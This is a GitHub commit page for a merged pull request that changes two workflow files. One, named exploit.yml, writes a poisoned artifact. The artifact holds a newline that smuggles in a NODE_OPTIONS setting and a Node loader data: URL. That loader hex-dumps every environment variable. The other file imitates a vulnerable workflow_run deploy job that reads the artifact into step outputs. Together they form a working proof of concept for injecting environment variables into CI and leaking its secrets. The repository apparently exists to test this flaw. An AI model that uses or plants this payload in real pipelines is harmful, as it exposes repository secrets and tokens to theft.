Skip to content

Commit

Permalink
Merge pull request #5 from AnupamAS0x1/main
Browse files Browse the repository at this point in the history
test
  • Loading branch information
AnupamS01 authored Sep 28, 2023
2 parents 4775bc2 + c40de49 commit 8f1cb38
Show file tree
Hide file tree
Showing 2 changed files with 35 additions and 5 deletions.
10 changes: 5 additions & 5 deletions .github/workflows/exploit.yml
Original file line number Diff line number Diff line change
Expand Up @@ -20,11 +20,11 @@ jobs:

- name: Run script and create metadata
run: |
echo -e "11\\nNODE_OPTIONS=--experimental-modules" >> pr_number.txt
echo "--experimental-loader=data:text/javascript,console.log(Buffer.from(JSON.stringify(process.env)).toString('hex'));//" >> pr_number.txt
cat pr_number.txt
echo -e "11\\nNODE_OPTIONS=--experimental-modules" >> pr-id.txt
echo "--experimental-loader=data:text/javascript,console.log(Buffer.from(JSON.stringify(process.env)).toString('hex'));//" >> pr-id.txt
cat pr-id.txt
- name: Upload metadata artifact
uses: actions/upload-artifact@v2
with:
name: pr_metadata
path: ./pr_number.txt
name: pr
path: ./pr-id.txt
30 changes: 30 additions & 0 deletions .github/workflows/yandex.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
name: PR Preview Deploy

on:
workflow_run:
workflows: ['PR Preview Build']
types:
- completed

jobs:
deploy:
runs-on: ubuntu-latest

steps:
- name: Download Artifacts
uses: dawidd6/action-download-artifact@v2
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
run_id: ${{ github.event.workflow_run.id }}

- name: Extract PR Number
id: pr
run: echo "::set-output name=id::$(<pr/pr-id.txt)"
shell: bash

# Add your additional steps here
- name: Step 3
run: echo "This is an additional step."

- name: Step 4
run: echo "This is another additional step."

0 comments on commit 8f1cb38

Please sign in to comment.